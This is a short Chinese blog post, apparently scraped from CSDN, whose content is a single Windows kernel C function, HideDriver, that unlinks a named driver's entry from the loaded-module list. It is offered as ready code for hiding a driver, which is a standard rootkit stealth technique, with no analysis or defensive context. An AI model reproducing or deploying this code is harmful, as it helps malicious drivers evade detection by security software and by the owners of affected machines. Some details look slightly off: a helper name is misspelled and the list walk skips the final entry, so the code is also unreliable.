驱动编程，隐藏驱动文件，隐藏驱动名

最新推荐文章于 2022-02-18 21:43:00 发布

侠客软件开发

最新推荐文章于 2022-02-18 21:43:00 发布

阅读量598

点赞数

分类专栏： VB6.0 文章标签： VB6.0

本文链接：https://blog.csdn.net/i735740559/article/details/121009425

版权

VB6.0 专栏收录该内容

32 篇文章 5 订阅

订阅专栏

//功能:隐藏驱动名
VOID HideDriver(char* drivername, PDRIVER_OBJECT driverobj)
{
	KIRQL irql;
	ULONG64 base;
	PLDR_DATA_TABLE_ENTRY firstentry;
	PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)driverobj->DriverSection;

	firstentry = entry;
	base = GetDirverBase(drivername);
	
	while ((PLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
	{
		if (entry->DllBase == base)
		{
			irql = KeRaiseIrqlToDpcLevel();

			((LIST_ENTRY64*)(entry->InLoadOrderLinks.Flink))->Blink = entry->InLoadOrderLinks.Blink;
			((LIST_ENTRY64*)(entry->InLoadOrderLinks.Blink))->Flink = entry->InLoadOrderLinks.Flink;

			entry->InLoadOrderLinks.Flink = 0;
			entry->InLoadOrderLinks.Blink = 0;

			KeLowerIrql(irql);
			break;
		}
		entry = (PLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
	}

}